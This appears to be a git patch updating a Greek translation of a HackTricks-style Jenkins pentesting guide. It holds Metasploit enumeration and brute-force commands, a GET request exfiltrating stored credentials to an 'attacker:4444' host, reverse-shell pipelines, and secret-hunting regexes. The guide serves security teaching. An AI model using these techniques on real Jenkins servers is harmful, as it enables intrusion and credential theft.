From ebdc7e68c7dee313cd549e07c65336f5a5c0f1d9 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 17 Jan 2026 17:00:13 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-ci-cd/jenkins-security/README.md', 'src/ --- .../jenkins-security/README.md | 187 ++++++++++-------- .../basic-jenkins-information.md | 86 ++++---- 2 files changed, 149 insertions(+), 124 deletions(-) diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 38f262d2d..d0a320daa 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -1,28 +1,28 @@ -# Jenkins Security +# Jenkins Ασφάλεια {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Βασικές Πληροφορίες -Jenkins είναι ένα εργαλείο που προσφέρει μια απλή μέθοδο για τη δημιουργία ενός **continuous integration** ή **continuous delivery** (CI/CD) περιβάλλοντος για σχεδόν **οποιονδήποτε** συνδυασμό **γλωσσών προγραμματισμού** και αποθετηρίων πηγαίου κώδικα χρησιμοποιώντας pipelines. Επιπλέον, αυτοματοποιεί διάφορες ρουτίνες ανάπτυξης. Ενώ το Jenkins δεν εξαλείφει την **ανάγκη δημιουργίας scripts για μεμονωμένα βήματα**, παρέχει μια ταχύτερη και πιο αξιόπιστη μέθοδο για την ενσωμάτωση ολόκληρης της ακολουθίας εργαλείων κατασκευής, δοκιμής και ανάπτυξης από ό,τι μπορεί κανείς να κατασκευάσει εύκολα χειροκίνητα. +Το Jenkins είναι ένα εργαλείο που προσφέρει έναν απλό τρόπο για την εγκαθίδρυση ενός **continuous integration** ή **continuous delivery** (CI/CD) περιβάλλοντος για σχεδόν **οποιονδήποτε** συνδυασμό **γλωσσών προγραμματισμού** και αποθετηρίων πηγαίου κώδικα χρησιμοποιώντας pipelines. Επιπλέον, αυτοματοποιεί διάφορες ρουτινές εργασίες ανάπτυξης. Παρόλο που το Jenkins δεν καταργεί την **ανάγκη δημιουργίας scripts για μεμονωμένα βήματα**, παρέχει έναν ταχύτερο και πιο αξιόπιστο τρόπο να ενσωματώσετε ολόκληρη την αλληλουχία εργαλείων build, test και deployment από ό,τι μπορεί κανείς εύκολα να κατασκευάσει χειροκίνητα. {{#ref}} basic-jenkins-information.md {{#endref}} -## Unauthenticated Enumeration +## Αναγνώριση χωρίς αυθεντικοποίηση -Για να αναζητήσετε ενδιαφέροντες σελίδες Jenkins χωρίς αυθεντικοποίηση όπως (_/people_ ή _/asynchPeople_, αυτή η λίστα περιλαμβάνει τους τρέχοντες χρήστες) μπορείτε να χρησιμοποιήσετε: +Για να αναζητήσετε ενδιαφέρουσες σελίδες του Jenkins χωρίς αυθεντικοποίηση, όπως (_/people_ or _/asynchPeople_, αυτό εμφανίζει τους τρέχοντες χρήστες) μπορείτε να χρησιμοποιήσετε: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` -Ελέγξτε αν μπορείτε να εκτελέσετε εντολές χωρίς να χρειάζεται αυθεντικοποίηση: +Ελέγξτε αν μπορείτε να εκτελέσετε εντολές χωρίς να απαιτείται πιστοποίηση: ``` msf> use auxiliary/scanner/http/jenkins_command ``` -Χωρίς διαπιστευτήρια μπορείτε να κοιτάξετε μέσα στο _**/asynchPeople/**_ path ή _**/securityRealm/user/admin/search/index?q=**_ για **usernames**. +Without credentials μπορείτε να κοιτάξετε μέσα στη διαδρομή _**/asynchPeople/**_ ή _**/securityRealm/user/admin/search/index?q=**_ για **usernames**. -Μπορείτε να αποκτήσετε την έκδοση του Jenkins από το path _**/oops**_ ή _**/error**_. +You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ ![](<../../images/image (146).png>) @@ -32,25 +32,25 @@ msf> use auxiliary/scanner/http/jenkins_command https://github.com/gquere/pwn_jenkins {{#endref}} -## Σύνδεση +## Login -Στις βασικές πληροφορίες μπορείτε να ελέγξετε **όλους τους τρόπους σύνδεσης μέσα στο Jenkins**: +Στις βασικές πληροφορίες μπορείτε να ελέγξετε **όλους τους τρόπους για login στο Jenkins**: {{#ref}} basic-jenkins-information.md {{#endref}} -### Εγγραφή +### Register -Θα μπορείτε να βρείτε παραδείγματα Jenkins που **επιτρέπουν να δημιουργήσετε έναν λογαριασμό και να συνδεθείτε σε αυτόν. Όσο απλό και αν ακούγεται.** +Θα μπορείτε να βρείτε Jenkins instances που **allow you to create an account and login inside of it. As simple as that.** -### **Σύνδεση SSO** +### **SSO Login** -Επίσης, αν η **λειτουργικότητα**/**plugins** SSO ήταν παρούσα, τότε θα πρέπει να προσπαθήσετε να **συνδεθείτε** στην εφαρμογή χρησιμοποιώντας έναν δοκιμαστικό λογαριασμό (π.χ., έναν δοκιμαστικό **λογαριασμό Github/Bitbucket**). Τρικ από [**εδώ**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Επίσης, αν **SSO** **functionality**/**plugins** ήταν παρόντα τότε θα πρέπει να προσπαθήσετε να **log-in** στην εφαρμογή χρησιμοποιώντας ένα test account (π.χ., ένα test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce -**Jenkins** στερείται **πολιτικής κωδικών πρόσβασης** και **μετριασμού brute-force για usernames**. Είναι απαραίτητο να **brute-force** τους χρήστες καθώς **αδύναμοι κωδικοί πρόσβασης** ή **usernames ως κωδικοί πρόσβασης** μπορεί να είναι σε χρήση, ακόμη και **αντίστροφα usernames ως κωδικοί πρόσβασης**. +**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` @@ -60,106 +60,121 @@ msf> use auxiliary/scanner/http/jenkins_login ### IP Whitelisting Bypass -Πολλές οργανώσεις συνδυάζουν **SaaS-based source control management (SCM) systems** όπως το GitHub ή το GitLab με μια **εσωτερική, self-hosted CI** λύση όπως το Jenkins ή το TeamCity. Αυτή η ρύθμιση επιτρέπει στα CI συστήματα να **λαμβάνουν webhook events από SaaS source control vendors**, κυρίως για την ενεργοποίηση pipeline jobs. +Πολλές οργανώσεις συνδυάζουν **SaaS-based source control management (SCM) systems** όπως GitHub ή GitLab με μια **internal, self-hosted CI** λύση όπως Jenkins ή TeamCity. Αυτή η ρύθμιση επιτρέπει στα συστήματα CI να **receive webhook events from SaaS source control vendors**, κυρίως για την εκκίνηση pipeline jobs. -Για να το επιτύχουν αυτό, οι οργανώσεις **whitelist** τις **IP ranges** των **SCM platforms**, επιτρέποντάς τους να έχουν πρόσβαση στο **internal CI system** μέσω **webhooks**. Ωστόσο, είναι σημαντικό να σημειωθεί ότι **οποιοσδήποτε** μπορεί να δημιουργήσει έναν **λογαριασμό** στο GitHub ή το GitLab και να τον ρυθμίσει ώστε να **ενεργοποιεί ένα webhook**, πιθανώς στέλνοντας αιτήματα στο **internal CI system**. +Για να γίνει αυτό, οι οργανώσεις **whitelist** τα **IP ranges** των **SCM platforms**, επιτρέποντάς τους να έχουν πρόσβαση στο **internal CI system** μέσω **webhooks**. Ωστόσο, είναι σημαντικό να σημειωθεί ότι **anyone** μπορεί να δημιουργήσει έναν **account** στο GitHub ή στο GitLab και να το ρυθμίσει να **trigger a webhook**, ενδεχομένως στέλνοντας αιτήματα στο **internal CI system**. -Ελέγξτε: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +Δείτε: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) -## Internal Jenkins Abuses +## Εσωτερικές καταχρήσεις Jenkins Σε αυτά τα σενάρια θα υποθέσουμε ότι έχετε έναν έγκυρο λογαριασμό για πρόσβαση στο Jenkins. > [!WARNING] -> Ανάλογα με τον μηχανισμό **Authorization** που έχει ρυθμιστεί στο Jenkins και την άδεια του παραβιασμένου χρήστη, **μπορεί να είστε σε θέση ή όχι να εκτελέσετε τις παρακάτω επιθέσεις.** +> Ανάλογα με τον **Authorization** μηχανισμό που έχει ρυθμιστεί στο Jenkins και τα δικαιώματα του παραβιασμένου χρήστη, μπορεί να μπορείτε ή όχι να εκτελέσετε τις ακόλουθες επιθέσεις. -Για περισσότερες πληροφορίες ελέγξτε τις βασικές πληροφορίες: +Για περισσότερες πληροφορίες δείτε τις βασικές πληροφορίες: {{#ref}} basic-jenkins-information.md {{#endref}} -### Listing users +### Εμφάνιση χρηστών -Αν έχετε αποκτήσει πρόσβαση στο Jenkins, μπορείτε να καταγράψετε άλλους καταχωρημένους χρήστες στο [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) +Αν έχετε πρόσβαση στο Jenkins μπορείτε να δείτε άλλους εγγεγραμμένους χρήστες στο [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) -### Dumping builds to find cleartext secrets +### Εξαγωγή builds για να βρεθούν μυστικά σε απλό κείμενο -Χρησιμοποιήστε [αυτό το script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) για να εξάγετε τις κονσόλες εξόδου των builds και τις μεταβλητές περιβάλλοντος των builds για να βρείτε ελπίζοντας καθαρές μυστικές πληροφορίες. +Χρησιμοποιήστε [αυτό το script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) για να εξάγετε τα console outputs των builds και τις μεταβλητές περιβάλλοντος των builds, ελπίζοντας να βρείτε μυστικά σε απλό κείμενο. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` -### **Κλοπή Διαπιστευτηρίων SSH** +### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft) -Εάν ο παραβιασμένος χρήστης έχει **αρκετά δικαιώματα για να δημιουργήσει/τροποποιήσει έναν νέο κόμβο Jenkins** και τα διαπιστευτήρια SSH είναι ήδη αποθηκευμένα για πρόσβαση σε άλλους κόμβους, θα μπορούσε να **κλέψει αυτά τα διαπιστευτήρια** δημιουργώντας/τροποποιώντας έναν κόμβο και **ορίζοντας έναν κεντρικό υπολογιστή που θα καταγράψει τα διαπιστευτήρια** χωρίς να επαληθεύσει το κλειδί του κεντρικού υπολογιστή: +Κάποια plugins εκθέτουν χειριστές Jelly `validateButton` ή `test connection` σε μονοπάτια όπως `/descriptorByName//testConnection`. Όταν οι χειριστές **δεν επιβάλλουν POST ή ελέγχους δικαιωμάτων**, μπορείτε: + +- Switch POST to GET και να απορρίψετε το Crumb για να παρακάμψετε τους ελέγχους CSRF. +- Trigger the handler ως low-priv/anonymous αν δεν υπάρχει έλεγχος `Jenkins.ADMINISTER`. +- Κάντε CSRF έναν admin και αντικαταστήστε την παράμετρο host/URL για να exfiltrate credentials ή να ενεργοποιήσετε outbound calls. +- Χρησιμοποιήστε τα σφάλματα απόκρισης (π.χ., `ConnectException`) ως SSRF/port-scan oracle. + +Παράδειγμα GET (no Crumb) που μετατρέπει μια validation call σε SSRF/credential exfiltration: +```http +GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1 +Host: jenkins.local:8080 +``` +If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/ + +### **Stealing SSH Credentials** + +Αν ο συμβιβασμένος χρήστης έχει **enough privileges to create/modify a new Jenkins node** και υπάρχουν ήδη αποθηκευμένα SSH credentials για πρόσβαση σε άλλους κόμβους, θα μπορούσε να **steal those credentials** δημιουργώντας/τροποποιώντας έναν node και **setting a host that will record the credentials** χωρίς να επαληθεύσει το host key: ![](<../../images/image (218).png>) -Συνήθως θα βρείτε τα διαπιστευτήρια ssh του Jenkins σε έναν **παγκόσμιο πάροχο** (`/credentials/`), οπότε μπορείτε επίσης να τα εξάγετε όπως θα εξάγατε οποιοδήποτε άλλο μυστικό. Περισσότερες πληροφορίες στην [**Ενότητα Εξαγωγής μυστικών**](./#dumping-secrets). +Συνήθως θα βρείτε Jenkins SSH credentials σε έναν **global provider** (`/credentials/`), οπότε μπορείτε επίσης να τα dump όπως θα dump any other secret. Περισσότερες πληροφορίες στην [**Dumping secrets section**](#dumping-secrets). -### **RCE στο Jenkins** +### **RCE in Jenkins** -Η απόκτηση ενός **shell στον διακομιστή Jenkins** δίνει στον επιτιθέμενο την ευκαιρία να διαρρεύσει όλα τα **μυστικά** και τις **μεταβλητές περιβάλλοντος** και να **εκμεταλλευτεί άλλες μηχανές** που βρίσκονται στο ίδιο δίκτυο ή ακόμη και να **συγκεντρώσει διαπιστευτήρια cloud**. +Το να αποκτήσει κάποιος **shell in the Jenkins server** δίνει στον attacker τη δυνατότητα να leak όλα τα **secrets** και **env variables** και να **exploit other machines** που βρίσκονται στο ίδιο δίκτυο ή ακόμη και να **gather cloud credentials**. -Από προεπιλογή, το Jenkins θα **τρέχει ως SYSTEM**. Έτσι, η παραβίαση του θα δώσει στον επιτιθέμενο **δικαιώματα SYSTEM**. +Κατά προεπιλογή, το Jenkins θα **run as SYSTEM**. Επομένως, ο συμβιβασμός του θα δώσει στον attacker **SYSTEM privileges**. -### **RCE Δημιουργία/Τροποποίηση έργου** +### **RCE Creating/Modifying a project** -Η δημιουργία/τροποποίηση ενός έργου είναι ένας τρόπος για να αποκτήσετε RCE στον διακομιστή Jenkins: +Το Creating/Modifying a project είναι ένας τρόπος για να αποκτήσετε RCE στο Jenkins server: {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} -### **RCE Εκτέλεση σεναρίου Groovy** +### **RCE Execute Groovy script** -Μπορείτε επίσης να αποκτήσετε RCE εκτελώντας ένα σενάριο Groovy, το οποίο μπορεί να είναι πιο διακριτικό από τη δημιουργία ενός νέου έργου: +Μπορείτε επίσης να αποκτήσετε RCE εκτελώντας ένα Groovy script, το οποίο μπορεί να είναι πιο διακριτικό από τη δημιουργία ενός νέου project: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} -### RCE Δημιουργία/Τροποποίηση Pipeline +### RCE Creating/Modifying Pipeline -Μπορείτε επίσης να αποκτήσετε **RCE δημιουργώντας/τροποποιώντας ένα pipeline**: +Μπορείτε επίσης να αποκτήσετε **RCE by creating/modifying a pipeline**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Εκμετάλλευση Pipeline +## Pipeline Exploitation -Για να εκμεταλλευτείτε τα pipelines, πρέπει ακόμα να έχετε πρόσβαση στο Jenkins. +Για να exploit pipelines χρειάζεται ακόμα να έχετε πρόσβαση στο Jenkins. -### Δημιουργία Pipelines +### Build Pipelines -**Pipelines** μπορούν επίσης να χρησιμοποιηθούν ως **μηχανισμός κατασκευής σε έργα**, σε αυτή την περίπτωση μπορεί να ρυθμιστεί ένα **αρχείο μέσα στο αποθετήριο** που θα περιέχει τη σύνταξη του pipeline. Από προεπιλογή χρησιμοποιείται το `/Jenkinsfile`: +**Pipelines** μπορούν επίσης να χρησιμοποιηθούν ως **build mechanism in projects**, σε αυτή την περίπτωση μπορεί να διαμορφωθεί ένα **file inside the repository** που θα περιέχει τη σύνταξη του pipeline. Από προεπιλογή χρησιμοποιείται `/Jenkinsfile`: ![](<../../images/image (127).png>) -Είναι επίσης δυνατό να **αποθηκεύσετε αρχεία ρύθμισης pipeline σε άλλα μέρη** (σε άλλα αποθετήρια για παράδειγμα) με στόχο να **χωρίσετε** την **πρόσβαση** στο αποθετήριο και την πρόσβαση στο pipeline. +Είναι επίσης δυνατό να **store pipeline configuration files in other places** (π.χ. σε άλλα repositories) με στόχο το **separating** του repository **access** και του pipeline access. -Εάν ένας επιτιθέμενος έχει **δικαιώματα εγγραφής σε αυτό το αρχείο**, θα είναι σε θέση να **τροποποιήσει** και **πιθανώς να ενεργοποιήσει** το pipeline χωρίς καν να έχει πρόσβαση στο Jenkins.\ -Είναι πιθανό ο επιτιθέμενος να χρειαστεί να **παρακάμψει κάποιες προστασίες κλάδου** (ανάλογα με την πλατφόρμα και τα δικαιώματα του χρήστη, αυτές μπορεί να παρακαμφθούν ή όχι). +Αν ένας attacker έχει **write access over that file** θα μπορεί να το **modify** και **potentially trigger** το pipeline χωρίς καν να έχει πρόσβαση στο Jenkins. Είναι πιθανό ότι ο attacker θα χρειαστεί να **bypass some branch protections** (ανάλογα με την πλατφόρμα και τα user privileges αυτά μπορεί ή μπορεί να μην παρακαμφθούν). -Οι πιο συνηθισμένοι ενεργοποιητές για την εκτέλεση ενός προσαρμοσμένου pipeline είναι: +The most common triggers to execute a custom pipeline are: -- **Pull request** προς τον κύριο κλάδο (ή πιθανώς προς άλλους κλάδους) -- **Push στον κύριο κλάδο** (ή πιθανώς προς άλλους κλάδους) -- **Ενημέρωση του κύριου κλάδου** και αναμονή μέχρι να εκτελεστεί με κάποιο τρόπο +- **Pull request** to the main branch (or potentially to other branches) +- **Push to the main branch** (or potentially to other branches) +- **Update the main branch** and wait until it's executed somehow > [!NOTE] -> Εάν είστε **εξωτερικός χρήστης**, δεν θα πρέπει να περιμένετε να δημιουργήσετε ένα **PR στον κύριο κλάδο** του αποθετηρίου **άλλου χρήστη/οργάνωσης** και να **ενεργοποιήσετε το pipeline**... αλλά αν είναι **κακώς ρυθμισμένο**, θα μπορούσατε να **παραβιάσετε πλήρως εταιρείες απλά εκμεταλλευόμενοι αυτό**. +> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**. -### RCE Pipeline +### Pipeline RCE -Στην προηγούμενη ενότητα RCE, είχε ήδη υποδειχθεί μια τεχνική για [**να αποκτήσετε RCE τροποποιώντας ένα pipeline**](./#rce-creating-modifying-pipeline). +Στην προηγούμενη ενότητα RCE είχε ήδη υποδειχθεί μια τεχνική για να [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline). -### Έλεγχος Μεταβλητών Περιβάλλοντος +### Checking Env variables -Είναι δυνατόν να δηλώσετε **μεταβλητές περιβάλλοντος σε καθαρό κείμενο** για ολόκληρο το pipeline ή για συγκεκριμένα στάδια. Αυτές οι μεταβλητές περιβάλλοντος **δεν θα πρέπει να περιέχουν ευαίσθητες πληροφορίες**, αλλά ένας επιτιθέμενος θα μπορούσε πάντα να **ελέγξει όλες τις ρυθμίσεις του pipeline**/Jenkinsfiles: +Είναι δυνατόν να δηλώσετε **clear text env variables** για ολόκληρο το pipeline ή για συγκεκριμένα stages. Αυτές οι env variables **shouldn't contain sensitive info**, αλλά ένας attacker θα μπορούσε πάντα να **check all the pipeline** configurations/Jenkinsfiles: ```bash pipeline { agent {label 'built-in'} @@ -174,21 +189,21 @@ STAGE_ENV_VAR = "Test stage ENV variables." } steps { ``` -### Dumping secrets +### Εξαγωγή μυστικών -Για πληροφορίες σχετικά με το πώς συνήθως αντιμετωπίζονται τα μυστικά από τον Jenkins, ελέγξτε τις βασικές πληροφορίες: +Για πληροφορίες σχετικά με το πώς συνήθως χειρίζεται το Jenkins τα μυστικά, δείτε τις βασικές πληροφορίες: {{#ref}} basic-jenkins-information.md {{#endref}} -Τα διαπιστευτήρια μπορούν να είναι **περιορισμένα σε παγκόσμιους παρόχους** (`/credentials/`) ή σε **συγκεκριμένα έργα** (`/job//configure`). Επομένως, για να εξάγετε όλα αυτά, πρέπει να **συμβιβάσετε τουλάχιστον όλα τα έργα** που περιέχουν μυστικά και να εκτελέσετε προσαρμοσμένες/δηλητηριασμένες ροές. +Τα διαπιστευτήρια μπορούν να είναι **scoped to global providers** (`/credentials/`) ή σε **specific projects** (`/job//configure`). Επομένως, για να εξαγάγετε όλα αυτά πρέπει να **compromise τουλάχιστον όλα τα projects** που περιέχουν μυστικά και να εκτελέσετε custom/poisoned pipelines. -Υπάρχει ένα άλλο πρόβλημα, για να αποκτήσετε ένα **μυστικό μέσα στο env** μιας ροής, πρέπει να **γνωρίζετε το όνομα και τον τύπο του μυστικού**. Για παράδειγμα, αν προσπαθήσετε να **φορτώσετε** ένα **`usernamePassword`** **μυστικό** ως **`string`** **μυστικό**, θα λάβετε αυτό το **σφάλμα**: +Υπάρχει ένα ακόμα πρόβλημα: για να τοποθετηθεί ένα **secret inside the env** ενός pipeline πρέπει να **γνωρίζετε το όνομα και τον τύπο του secret**. Για παράδειγμα, αν προσπαθήσετε να **load** ένα **`usernamePassword`** **secret** ως **`string`** **secret**, θα λάβετε αυτό το **error**: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` -Εδώ έχετε τον τρόπο να φορτώσετε μερικούς κοινούς τύπους μυστικών: +Εδώ έχετε τον τρόπο να φορτώσετε μερικούς κοινούς τύπους secret: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { sh ''' @@ -216,46 +231,46 @@ env ''' } ``` -Στο τέλος αυτής της σελίδας μπορείτε να **βρείτε όλους τους τύπους διαπιστευτηρίων**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +Στο τέλος αυτής της σελίδας μπορείτε να **βρείτε όλα τα credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> Ο καλύτερος τρόπος για να **ξεφορτωθείτε όλα τα μυστικά ταυτόχρονα** είναι να **παραβιάσετε** τη μηχανή **Jenkins** (τρέχοντας ένα reverse shell στον **ενσωματωμένο κόμβο**, για παράδειγμα) και στη συνέχεια να **διαρρεύσετε** τα **κύρια κλειδιά** και τα **κρυπτογραφημένα μυστικά** και να τα αποκρυπτογραφήσετε εκτός σύνδεσης.\ -> Περισσότερα σχετικά με το πώς να το κάνετε αυτό στην ενότητα [Nodes & Agents](./#nodes-and-agents) και στην ενότητα [Post Exploitation](./#post-exploitation). +> Ο καλύτερος τρόπος για να **dump all the secrets at once** είναι με το **compromising** της μηχανής **Jenkins** (π.χ. εκτελώντας ένα reverse shell στον **built-in node**) και στη συνέχεια **leaking** τα **master keys** και τα **encrypted secrets** και να τα αποκρυπτογραφήσετε offline.\ +> Περισσότερα για το πώς να το κάνετε αυτό στην [Nodes & Agents section](#nodes-and-agents) και στην [Post Exploitation section](#post-exploitation). ### Triggers -Από [την τεκμηρίωση](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Η οδηγία `triggers` ορίζει τους **αυτοματοποιημένους τρόπους με τους οποίους η Pipeline θα πρέπει να επαναληφθεί**. Για Pipelines που είναι ενσωματωμένες με μια πηγή όπως το GitHub ή το BitBucket, οι `triggers` μπορεί να μην είναι απαραίτητοι καθώς η ενσωμάτωσή τους με webhooks πιθανότατα θα είναι ήδη παρούσα. Οι διαθέσιμοι triggers αυτή τη στιγμή είναι οι `cron`, `pollSCM` και `upstream`. +From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Η οδηγία `triggers` ορίζει τους **αυτοματοποιημένους τρόπους με τους οποίους το Pipeline πρέπει να ξανα-προκληθεί**. Για Pipelines που είναι ενσωματωμένα με μια πηγή όπως το GitHub ή το BitBucket, το `triggers` ενδέχεται να μην είναι απαραίτητο, καθώς η ενσωμάτωση με webhooks πιθανότατα υπάρχει ήδη. Οι triggers που είναι διαθέσιμες προς το παρόν είναι `cron`, `pollSCM` και `upstream`. -Παράδειγμα Cron: +Cron example: ```bash triggers { cron('H */4 * * 1-5') } ``` -Ελέγξτε **άλλα παραδείγματα στα έγγραφα**. +Δείτε **άλλα παραδείγματα στην τεκμηρίωση**. -### Κόμβοι & Πράκτορες +### Nodes & Agents -Μια **έκδοση Jenkins** μπορεί να έχει **διαφορετικούς πράκτορες που εκτελούνται σε διαφορετικές μηχανές**. Από την οπτική γωνία ενός επιτιθέμενου, η πρόσβαση σε διαφορετικές μηχανές σημαίνει **διαφορετικά δυνητικά διαπιστευτήρια cloud** για κλοπή ή **διαφορετική πρόσβαση στο δίκτυο** που θα μπορούσε να καταχραστεί για να εκμεταλλευτεί άλλες μηχανές. +Μια **Jenkins instance** μπορεί να έχει **διαφορετικούς agents που τρέχουν σε διαφορετικές μηχανές**. Από την οπτική ενός attacker, η πρόσβαση σε διαφορετικές μηχανές σημαίνει **διαφορετικά πιθανά cloud credentials** για κλοπή ή **διαφορετική πρόσβαση δικτύου** που μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί άλλες μηχανές. -Για περισσότερες πληροφορίες, ελέγξτε τις βασικές πληροφορίες: +Για περισσότερες πληροφορίες δείτε τις βασικές πληροφορίες: {{#ref}} basic-jenkins-information.md {{#endref}} -Μπορείτε να απαριθμήσετε τους **ρυθμισμένους κόμβους** στο `/computer/`, συνήθως θα βρείτε τον \*\*`Built-In Node` \*\* (ο οποίος είναι ο κόμβος που εκτελεί το Jenkins) και πιθανώς περισσότερους: +Μπορείτε να απαριθμήσετε τους **configured nodes** στο `/computer/`, συνήθως θα βρείτε το \*\*`Built-In Node` \*\* (το οποίο είναι ο κόμβος που τρέχει Jenkins) και πιθανώς περισσότερα: ![](<../../images/image (249).png>) -Είναι **ιδιαίτερα ενδιαφέρον να συμβιβαστεί ο Built-In κόμβος** επειδή περιέχει ευαίσθητες πληροφορίες του Jenkins. +Είναι **ιδιαίτερα ενδιαφέρον να παραβιάσετε το Built-In node** επειδή περιέχει ευαίσθητες πληροφορίες του Jenkins. -Για να δηλώσετε ότι θέλετε να **εκτελέσετε** την **pipeline** στον **ενσωματωμένο κόμβο Jenkins**, μπορείτε να καθορίσετε μέσα στην pipeline την εξής ρύθμιση: +Για να υποδείξετε ότι θέλετε να **run** το **pipeline** στον **built-in Jenkins node** μπορείτε να ορίσετε μέσα στο pipeline την παρακάτω config: ```bash pipeline { agent {label 'built-in'} ``` -### Πλήρης παράδειγμα +### Πλήρες παράδειγμα -Pipeline σε έναν συγκεκριμένο πράκτορα, με έναν cron trigger, με μεταβλητές περιβάλλοντος pipeline και stage, φορτώνοντας 2 μεταβλητές σε ένα βήμα και στέλνοντας ένα reverse shell: +Pipeline σε έναν συγκεκριμένο agent, με cron trigger, με pipeline και stage env variables, φορτώνοντας 2 variables σε ένα step και στέλνοντας ένα reverse shell: ```bash pipeline { agent {label 'built-in'} @@ -286,7 +301,7 @@ cleanWs() } } ``` -## Αυθαίρετη Ανάγνωση Αρχείου σε RCE +## Arbitrary File Read to RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -314,9 +329,7 @@ msf> post/multi/gather/jenkins_gather ``` ### Jenkins Secrets -Μπορείτε να καταγράψετε τα μυστικά προσβάλλοντας το `/credentials/` αν έχετε αρκετές άδειες. Σημειώστε ότι αυτό θα καταγράψει μόνο τα μυστικά μέσα στο αρχείο `credentials.xml`, αλλά **τα αρχεία διαμόρφωσης κατασκευής** μπορεί επίσης να έχουν **περισσότερα μυστικά**. - -Αν μπορείτε να **δείτε τη διαμόρφωση κάθε έργου**, μπορείτε επίσης να δείτε εκεί τα **ονόματα των μυστικών (credentials)** που χρησιμοποιούνται για την πρόσβαση στο αποθετήριο και **άλλα μυστικά του έργου**. +Μπορείτε να απαριθμήσετε τα secrets προσπελάζοντας `/credentials/` αν έχετε αρκετά δικαιώματα. Σημειώστε ότι αυτό θα απαριθμήσει μόνο τα secrets μέσα στο αρχείο `credentials.xml`, αλλά **τα build configuration files** μπορεί επίσης να έχουν **περισσότερα credentials**. ![](<../../images/image (180).png>) @@ -326,20 +339,20 @@ msf> post/multi/gather/jenkins_gather jenkins-dumping-secrets-from-groovy.md {{#endref}} -#### Από δίσκο +#### Από το δίσκο -Αυτά τα αρχεία είναι απαραίτητα για να **αποκρυπτογραφήσετε τα μυστικά του Jenkins**: +Αυτά τα αρχεία χρειάζονται για να **αποκρυπτογραφήσετε τα Jenkins secrets**: - secrets/master.key - secrets/hudson.util.Secret -Τέτοια **μυστικά συνήθως μπορούν να βρεθούν σε**: +Τέτοια **secrets συνήθως βρίσκονται σε**: - credentials.xml - jobs/.../build.xml - jobs/.../config.xml -Ακολουθεί μια regex για να τα βρείτε: +Εδώ υπάρχει ένα regex για να τα βρείτε: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" @@ -349,9 +362,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` -#### Αποκρυπτογράφηση μυστικών Jenkins εκτός σύνδεσης +#### Αποκρυπτογράφηση των μυστικών του Jenkins εκτός σύνδεσης -Αν έχετε εξάγει τα **απαραίτητα κωδικούς πρόσβασης για να αποκρυπτογραφήσετε τα μυστικά**, χρησιμοποιήστε [**αυτό το σενάριο**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **για να αποκρυπτογραφήσετε αυτά τα μυστικά**. +Αν έχετε εξάγει τους **απαραίτητους κωδικούς για την αποκρυπτογράφηση των μυστικών**, χρησιμοποιήστε [**αυτό το 